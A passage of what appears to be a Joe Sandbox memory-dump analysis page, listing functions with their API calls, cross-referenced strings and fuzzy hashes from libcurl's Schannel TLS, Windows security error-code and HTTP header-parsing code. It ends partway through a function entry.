CALG_SSL3_SHAMD5, xrefs: 00DEB524
schannel: sending next handshake data: sending %lu bytes..., xrefs: 00DEA12C, 00DEA196, 00DEA200
CALG_3DES, xrefs: 00DEB3FC
schannel: unable to allocate memory, xrefs: 00DEA35E, 00DEA388, 00DEA3E8, 00DEAD00, 00DEBC90
CALG_RSA_SIGN, xrefs: 00DEB378

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID:
String ID: :$CALG_3DES$CALG_3DES_112$CALG_AES$CALG_AES_128$CALG_AES_192$CALG_AES_256$CALG_AGREEDKEY_ANY$CALG_CYLINK_MEK$CALG_DES$CALG_DESX$CALG_DH_EPHEM$CALG_DH_SF$CALG_DSS_SIGN$CALG_HASH_REPLACE_OWF$CALG_HMAC$CALG_HUGHES_MD5$CALG_MAC$CALG_MD2$CALG_MD4$CALG_MD5$CALG_NO_SIGN$CALG_PCT1_MASTER$CALG_RC2$CALG_RC4$CALG_RC5$CALG_RSA_KEYX$CALG_RSA_SIGN$CALG_SCHANNEL_ENC_KEY$CALG_SCHANNEL_MAC_KEY$CALG_SCHANNEL_MASTER_HASH$CALG_SEAL$CALG_SHA$CALG_SHA1$CALG_SHA_256$CALG_SHA_384$CALG_SHA_512$CALG_SKIPJACK$CALG_SSL2_MASTER$CALG_SSL3_MASTER$CALG_SSL3_SHAMD5$CALG_TEK$CALG_TLS1PRF$CALG_TLS1_MASTER$CurrentService$CurrentUser$CurrentUserGroupPolicy$LocalMachine$LocalMachineEnterprise$LocalMachineGroupPolicy$Microsoft Unified Security Protocol Provider$SSL/TLS connection timeout$SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key!$Services$Unable to set ciphers to passed via SSL_CONN_CONFIG$Unrecognized parameter passed via CURLOPT_SSLVERSION$Users$schannel: AcquireCredentialsHandle failed: %s$schannel: Failed to get certificate location for %s$schannel: Failed to open cert store %x %s, last error is %x$schannel: Failed to read remote certificate context: %s$schannel: SNI or certificate check failed: %s$schannel: SSL/TLS connection with %s port %hu (step 1/3)$schannel: SSL/TLS connection with %s port %hu (step 2/3)$schannel: SSL/TLS connection with %s port %hu (step 3/3)$schannel: SSL/TLS handshake complete$schannel: TLS 1.3 is not yet supported$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: a client certificate has been requested$schannel: checking server certificate revocation$schannel: disabled server certificate revocation checks$schannel: encrypted data buffer: offset %zu length %zu$schannel: encrypted data got %zd$schannel: encrypted data length: %lu$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to receive handshake, need more data$schannel: failed to retrieve remote cert context$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: failed to setup confidentiality$schannel: failed to setup memory allocation$schannel: failed to setup replay detection$schannel: failed to setup sequence detection$schannel: failed to setup stream orientation$schannel: failed to store credential handle$schannel: incremented credential handle refcount = %d$schannel: initial InitializeSecurityContext failed: %s$schannel: next InitializeSecurityContext failed: %s$schannel: old credential handle is stale, removing$schannel: re-using existing credential handle$schannel: received incomplete message, need more data$schannel: sending initial handshake data: sending %lu bytes...$schannel: sending next handshake data: sending %lu bytes...$schannel: sent initial handshake data: sent %zd bytes$schannel: stored credential handle in session cache$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: unable to re-allocate memory$schannel: using IP address, SNI is not supported by OS.$schannel: verifyhost setting prevents Schannel from comparing the supplied target name with the subject names in server certificates.$select/poll on SSL/TLS socket, errno: %d
API String ID: 0-1739913269
Opcode ID: ca50b57c4c83f5b23ba378b84340e28c1e18758d4d48e0e0e9241213474706be
Instruction ID: 167d367387dda58f3ba51ecf27a68c196d2f6c06c227c88c8e26bf2210a6b13a
Opcode Fuzzy Hash: ca50b57c4c83f5b23ba378b84340e28c1e18758d4d48e0e0e9241213474706be
Instruction Fuzzy Hash: C903E0B0608341AFDB20AF26CC81B6B77E4EF95314F18452DF9899B291E771E904CB72

Function 00DDA2A0 Relevance: 164.8, APIs: 10, Strings: 84, Instructions: 277stringwindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00DDA2B8
_errno.MSVCRT ref: 00DDA2C0
FormatMessageA.KERNEL32(00001200,00000000,?,00000000,?,000000FF,00000000), ref: 00DDA671
strrchr.MSVCRT ref: 00DDA686
strrchr.MSVCRT ref: 00DDA6A1
strncpy.MSVCRT ref: 00DDA6E4
_errno.MSVCRT ref: 00DDA701
_errno.MSVCRT ref: 00DDA70B
GetLastError.KERNEL32 ref: 00DDA713
SetLastError.KERNEL32(?), ref: 00DDA71E

Strings

SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 00DDA4AB
SEC_E_ALGORITHM_MISMATCH, xrefs: 00DDA4EB
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 00DDA44C
SEC_E_TIME_SKEW, xrefs: 00DDA492
SEC_E_TARGET_UNKNOWN, xrefs: 00DDA3C0
SEC_E_BAD_BINDINGS, xrefs: 00DDA5B3
SEC_E_SECURITY_QOS_FAILED, xrefs: 00DDA4F5
SEC_E_CANNOT_PACK, xrefs: 00DDA3FC
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 00DDA60A
SEC_E_MUST_BE_KDC, xrefs: 00DDA53B
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 00DDA5FC
SEC_E_NO_CREDENTIALS, xrefs: 00DDA42E
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 00DDA424
SEC_E_CANNOT_INSTALL, xrefs: 00DDA3E8
SEC_E_INCOMPLETE_MESSAGE, xrefs: 00DDA46A
SEC_E_NO_IP_ADDRESSES, xrefs: 00DDA513
CRYPT_E_REVOKED, xrefs: 00DDA324
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 00DDA5F5
SEC_E_CERT_WRONG_USAGE, xrefs: 00DDA5CB
SEC_E_NO_TGT_REPLY, xrefs: 00DDA509
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 00DDA531
SEC_I_RENEGOTIATE, xrefs: 00DDA38E
SEC_I_SIGNATURE_NEEDED, xrefs: 00DDA3A2
SEC_E_KDC_INVALID_REQUEST, xrefs: 00DDA581
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 00DDA4FF
SEC_E_CERT_EXPIRED, xrefs: 00DDA4CD
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 00DDA54F
SEC_E_SECPKG_NOT_FOUND, xrefs: 00DDA3D4
Unknown error, xrefs: 00DDA63B, 00DDA645
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 00DDA563
SEC_E_INVALID_PARAMETER, xrefs: 00DDA626
SEC_I_CONTINUE_NEEDED, xrefs: 00DDA31A
SEC_E_CONTEXT_EXPIRED, xrefs: 00DDA460
SEC_I_COMPLETE_NEEDED, xrefs: 00DDA35C
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 00DDA5BD
No error, xrefs: 00DDA349
SEC_E_MESSAGE_ALTERED, xrefs: 00DDA438
SEC_E_NO_KERB_KEY, xrefs: 00DDA5C4
SEC_E_NOT_OWNER, xrefs: 00DDA3DE
SEC_E_REVOCATION_OFFLINE_C, xrefs: 00DDA5E7
%s (0x%08X), xrefs: 00DDA646
SEC_E_DECRYPT_FAILURE, xrefs: 00DDA4E1
SEC_I_NO_LSA_CONTEXT, xrefs: 00DDA398
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 00DDA474
SEC_E_POLICY_NLTM_ONLY, xrefs: 00DDA634
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 00DDA3B6
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 00DDA545
SEC_E_LOGON_DENIED, xrefs: 00DDA41A
SEC_E_ENCRYPT_FAILURE, xrefs: 00DDA4D7
SEC_E_INVALID_TOKEN, xrefs: 00DDA3F2
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 00DDA366
SEC_E_DOWNGRADE_DETECTED, xrefs: 00DDA5D2
SEC_E_BAD_PKGID, xrefs: 00DDA456
SEC_E_CERT_UNKNOWN, xrefs: 00DDA4C3
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 00DDA5D9
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 00DDA5E0
SEC_E_QOP_NOT_SUPPORTED, xrefs: 00DDA406
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 00DDA595
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 00DDA58B
%s - %s, xrefs: 00DDA6C1
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 00DDA59F
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 00DDA56D
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 00DDA603
SEC_E_DELEGATION_REQUIRED, xrefs: 00DDA5A9
SEC_E_OUT_OF_SEQUENCE, xrefs: 00DDA442
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 00DDA577
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 00DDA51D
SEC_I_CONTEXT_EXPIRED, xrefs: 00DDA37A
SEC_I_LOCAL_LOGON, xrefs: 00DDA370
SEC_E_DELEGATION_POLICY, xrefs: 00DDA62D
SEC_E_INTERNAL_ERROR, xrefs: 00DDA3CA
SEC_E_NO_IMPERSONATION, xrefs: 00DDA410
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 00DDA611
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 00DDA384
SEC_E_KDC_CERT_EXPIRED, xrefs: 00DDA618
SEC_E_INSUFFICIENT_MEMORY, xrefs: 00DDA2FC
SEC_E_KDC_CERT_REVOKED, xrefs: 00DDA61F
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 00DDA5EE
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 00DDA527
SEC_E_WRONG_PRINCIPAL, xrefs: 00DDA488
SEC_E_NO_PA_DATA, xrefs: 00DDA559
SEC_E_UNTRUSTED_ROOT, xrefs: 00DDA49C
SEC_E_BUFFER_TOO_SMALL, xrefs: 00DDA47E
SEC_E_INVALID_HANDLE, xrefs: 00DDA3AC

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: ErrorLast_errno$strrchr$FormatMessagestrncpy
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 2057771725-3170461277
Opcode ID: 37673a46c57cd1bec143affeab5117c387cc4bc28626ff205b6da02c2530febd
Instruction ID: f233f4343aaabefc100b5d1561848c611cdc7ed0e22caadf1205d007ec243750
Opcode Fuzzy Hash: 37673a46c57cd1bec143affeab5117c387cc4bc28626ff205b6da02c2530febd
Instruction Fuzzy Hash: 0B91EC6034CA66D7E6246E5CCA4477B665CEB11300F2E802BB5C6DF345DAA9DD00A3B3

Function 00DF59E0 Relevance: 102.9, APIs: 15, Strings: 43, Instructions: 1427stringCOMMON

Download Yara Rule

APIs

memchr.MSVCRT ref: 00DF5A42
memcpy.MSVCRT(?,?,?), ref: 00DF5AFA
strlen.MSVCRT ref: 00DF5B83
sscanf.MSVCRT ref: 00DF5D05
sscanf.MSVCRT ref: 00DF5D2C
strchr.MSVCRT ref: 00DF6F3D

Strings

HTTP/1.1 proxy connection set close!, xrefs: 00DF65F6
HTTP/%1d.%1d%c%3d, xrefs: 00DF5CFF
Received HTTP/0.9 when not allowed, xrefs: 00DF6DC3, 00DF6F23
Content-Range:, xrefs: 00DF675B
keep-alive, xrefs: 00DF6521, 00DF6608
HTTP, xrefs: 00DF6E1F
Failed to alloc memory for big header!, xrefs: 00DF6B87, 00DF6DCA
RTSP/, xrefs: 00DF5BF7, 00DF6DE2
Last-Modified:, xrefs: 00DF6881
HTTP 1.0, assume close after body, xrefs: 00DF6302
Proxy-authenticate:, xrefs: 00DF6990
Location:, xrefs: 00DF6A0C
The requested URL returned error: %s, xrefs: 00DF6F55
Invalid Content-Length: value, xrefs: 00DF6E88
close, xrefs: 00DF65D3, 00DF663B
HTTP %3d, xrefs: 00DF6163
HTTP error before end of send, keep sending, xrefs: 00DF610C
WWW-Authenticate:, xrefs: 00DF6966
Keep sending data to get tossed away!, xrefs: 00DF5FE3
Transfer-Encoding:, xrefs: 00DF6664
Rejected %zu bytes header (max is %d)!, xrefs: 00DF6AD8
Overflow Content-Length: value!, xrefs: 00DF65B8
Received 101, xrefs: 00DF5E3B
Content-Encoding:, xrefs: 00DF6731
no chunk, no close, no size. Assume close to signal end, xrefs: 00DF5E13
HTTP error before end of send, stop sending, xrefs: 00DF67AB
Proxy-Connection:, xrefs: 00DF6526, 00DF65D8
Content-Length:, xrefs: 00DF6482
HTTP/1.0 proxy connection set to keep alive!, xrefs: 00DF6548
Unsupported HTTP version in response, xrefs: 00DF6E37
HTTP/, xrefs: 00DF5BC9, 00DF61FC, 00DF6EDC
Connection:, xrefs: 00DF660D, 00DF6640
, xrefs: 00DF608F
HTTP/2 %d, xrefs: 00DF5D25
Maximum file size exceeded, xrefs: 00DF6EA0
Content-Type:, xrefs: 00DF63B8
The requested URL returned error: %d, xrefs: 00DF6AF6
Server:, xrefs: 00DF6405
Set-Cookie:, xrefs: 00DF680B
Lying server, not serving HTTP/2, xrefs: 00DF5D91
Connection closure while negotiating auth (HTTP 1.0?), xrefs: 00DF5EE1
HTTP/1.0 connection set to keep alive!, xrefs: 00DF662B
RTSP/%1d.%1d%c%3d, xrefs: 00DF6076

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: sscanf$memchrmemcpystrchrstrlen
String ID: $ HTTP %3d$ HTTP/%1d.%1d%c%3d$ HTTP/2 %d$ RTSP/%1d.%1d%c%3d$Connection closure while negotiating auth (HTTP 1.0?)$Connection:$Content-Encoding:$Content-Length:$Content-Range:$Content-Type:$Failed to alloc memory for big header!$HTTP$HTTP 1.0, assume close after body$HTTP error before end of send, keep sending$HTTP error before end of send, stop sending$HTTP/$HTTP/1.0 connection set to keep alive!$HTTP/1.0 proxy connection set to keep alive!$HTTP/1.1 proxy connection set close!$Invalid Content-Length: value$Keep sending data to get tossed away!$Last-Modified:$Location:$Lying server, not serving HTTP/2$Maximum file size exceeded$Overflow Content-Length: value!$Proxy-Connection:$Proxy-authenticate:$RTSP/$Received 101$Received HTTP/0.9 when not allowed$Rejected %zu bytes header (max is %d)!$Server:$Set-Cookie:$The requested URL returned error: %d$The requested URL returned error: %s$Transfer-Encoding:$Unsupported HTTP version in response$WWW-Authenticate:$close$keep-alive$no chunk, no close, no size. Assume close to signal end
API String ID: 1606147131-3540691237
Opcode ID: aac22c6d13b93c0c0ed9a7a7ae182f41ca04752080b45dc4d4fa78d8bbde9f98
Instruction ID: edae9ef9ec12dff546367763b899934b551b9c46f08aa1a35503b71933a2424c
Opcode Fuzzy Hash: aac22c6d13b93c0c0ed9a7a7ae182f41ca04752080b45dc4d4fa78d8bbde9f98
Instruction Fuzzy Hash: 84C2C074A002059FDB208F24D885BBA77A0EF54304F1E8579FE899F686E771E944CB72

Function 00DEBD50 Relevance: 50.1, APIs: 4, Strings: 29, Instructions: 568COMMON

Download Yara Rule

APIs

Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7002
Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7039

memcpy.MSVCRT(?,?,?), ref: 00DEBE7F
memmove.MSVCRT(?,?,?), ref: 00DEBE9A

Part of subcall function 00DF7140: strlen.MSVCRT ref: 00DF718C

Strings

schannel: remote party requests renegotiation, xrefs: 00DEC302
schannel: Curl_read_plain returned CURLE_AGAIN, xrefs: 00DEC03D
schannel: failed to read data from server: %s, xrefs: 00DEC479
schannel: schannel_recv cleanup, xrefs: 00DEBDE8, 00DEBE22
schannel: decrypted data cached: offset %zu length %zu, xrefs: 00DEC278
schannel: encrypted data got %zd, xrefs: 00DEC060
schannel: encrypted data buffer: offset %zu length %zu, xrefs: 00DEBFEE, 00DEC0BE, 00DEC3C6
schannel: server closed abruptly (missing close_notify), xrefs: 00DEBF83
schannel: decrypted data buffer: offset %zu length %zu, xrefs: 00DEBEBE, 00DEC3DF
schannel: can't renogotiate, encrypted data available, xrefs: 00DEC49E
schannel: decrypted data added: %zu, xrefs: 00DEC25E
schannel: encrypted data length: %lu, xrefs: 00DEC2A2
schannel: unable to re-allocate memory, xrefs: 00DEC06E, 00DEC4CF
schannel: client wants to read %zu bytes, xrefs: 00DEBD7A
schannel: SSL/TLS connection renegotiated, xrefs: 00DEC36E
schannel: failed to decrypt data, need more data, xrefs: 00DEC44B
schannel: Curl_read_plain returned CURLE_RECV_ERROR, xrefs: 00DEC081
schannel: renegotiating SSL/TLS connection, xrefs: 00DEC32F
schannel: can't renogotiate, an error is pending, xrefs: 00DEC490
schannel: encrypted data cached: offset %zu length %zu, xrefs: 00DEC2E8
schannel: decrypted data length: %lu, xrefs: 00DEC1CF
schannel: server closed the connection, xrefs: 00DEC0A5, 00DEC416
schannel: server indicated shutdown in a prior call, xrefs: 00DEBE0E
schannel: an unrecoverable error occurred in a prior call, xrefs: 00DEBDC3
schannel: renegotiation failed, xrefs: 00DEC4A5
schannel: enough decrypted data is already available, xrefs: 00DEBDCE
schannel: Curl_read_plain returned error %d, xrefs: 00DEC089
schannel: encdata_buffer resized %zu, xrefs: 00DEBFD2
schannel: decrypted data returned %zu, xrefs: 00DEBEA8

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strlen$memcpymemmove
String ID: schannel: Curl_read_plain returned CURLE_AGAIN$schannel: Curl_read_plain returned CURLE_RECV_ERROR$schannel: Curl_read_plain returned error %d$schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: can't renogotiate, an error is pending$schannel: can't renogotiate, encrypted data available$schannel: client wants to read %zu bytes$schannel: decrypted data added: %zu$schannel: decrypted data buffer: offset %zu length %zu$schannel: decrypted data cached: offset %zu length %zu$schannel: decrypted data length: %lu$schannel: decrypted data returned %zu$schannel: encdata_buffer resized %zu$schannel: encrypted data buffer: offset %zu length %zu$schannel: encrypted data cached: offset %zu length %zu$schannel: encrypted data got %zd$schannel: encrypted data length: %lu$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: schannel_recv cleanup$schannel: server closed abruptly (missing close_notify)$schannel: server closed the connection$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 3930488757-1393157870
Opcode ID: 13c582ae2c9298b66f72b29eb69f25046b768cfa73526a822b44d68406ccacfa
Instruction ID: cc340d476edcb57931c2c0a04d9fa1d6046133d821c8827ca0c51f4896036dc9
Opcode Fuzzy Hash: 13c582ae2c9298b66f72b29eb69f25046b768cfa73526a822b44d68406ccacfa
Instruction Fuzzy Hash: 9E22BEB5A043409FD710EF15C881E2A77F4EF99714F15866DFA885B362E372E841CBA2

Function 00DE8FA0 Relevance: 38.8, APIs: 17, Strings: 5, Instructions: 314stringfileCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 00DE8FD7
fopen.MSVCRT ref: 00DE8FE9
fseek.MSVCRT ref: 00DE8FFC
fclose.MSVCRT ref: 00DE9033
strlen.MSVCRT ref: 00DE90C0
memcpy.MSVCRT(00000000,?,00000001), ref: 00DE90E2
strstr.MSVCRT ref: 00DE90F5
strlen.MSVCRT ref: 00DE910E
memcmp.MSVCRT(?,-00000008,?), ref: 00DE9121
strstr.MSVCRT ref: 00DE9147
ftell.MSVCRT ref: 00DE9168
fseek.MSVCRT ref: 00DE9177
fread.MSVCRT ref: 00DE91CA
memcmp.MSVCRT(?,?,?), ref: 00DE91EA
strstr.MSVCRT ref: 00DE922F
strstr.MSVCRT ref: 00DE9262
memcmp.MSVCRT(?,?,?), ref: 00DE9331

Strings

;sha256//, xrefs: 00DE90EF
public key hash: sha256//%s, xrefs: 00DE90B1
sha256//, xrefs: 00DE8FD1, 00DE9141
-----BEGIN PUBLIC KEY-----, xrefs: 00DE9227
-----END PUBLIC KEY-----, xrefs: 00DE925C

Memory Dump Source

Source File: 0000003C.00000002.3093957163.0000000000DC1000.00000020.00000001.01000000.00000017.sdmp, Offset: 00DC0000, based on PE: true

Associated: 0000003C.00000002.3093885419.0000000000DC0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094712049.000000000104E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3094785733.0000000001052000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095183432.0000000001111000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095328208.0000000001116000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.0000000001117000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3095467542.000000000111A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000003C.00000002.3096095977.000000000111B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_60_2_dc0000_qrl.jbxd

Similarity

API ID: strstr$memcmp$fseekstrlen$fclosefopenfreadftellmemcpystrncmp
String ID: public key hash: sha256//%s$-----END PUBLIC KEY-----$-----BEGIN PUBLIC KEY-----$;sha256//$sha256//
API String ID: 1176492844-471711153
Opcode ID: 1f8106593371dd096d96a45132e07427d0a16da73e573c02c9f8703e333760d9
Instruction ID: 8dd2b36a7b6c6163f8c349c6803e5b6cabfe679897e4cb20ad90816d75c04f2a
Opcode Fuzzy Hash: 1f8106593371dd096d96a45132e07427d0a16da73e573c02c9f8703e333760d9
Instruction Fuzzy Hash: 28A1C6F1A043426BEB20AB66DD95B2BB7D89B60344F480438FD8987242F639DD44CB73

Function 00E18EF0 Relevance: 37.2, APIs: 10, Strings: 11, Instructions: 498stringnetworkCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00E18F81

Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7002
Part of subcall function 00DF6FB0: strlen.MSVCRT ref: 00DF7039

Part of subcall function 00DF6FB0: fwrite.MSVCRT ref: 00DF7087
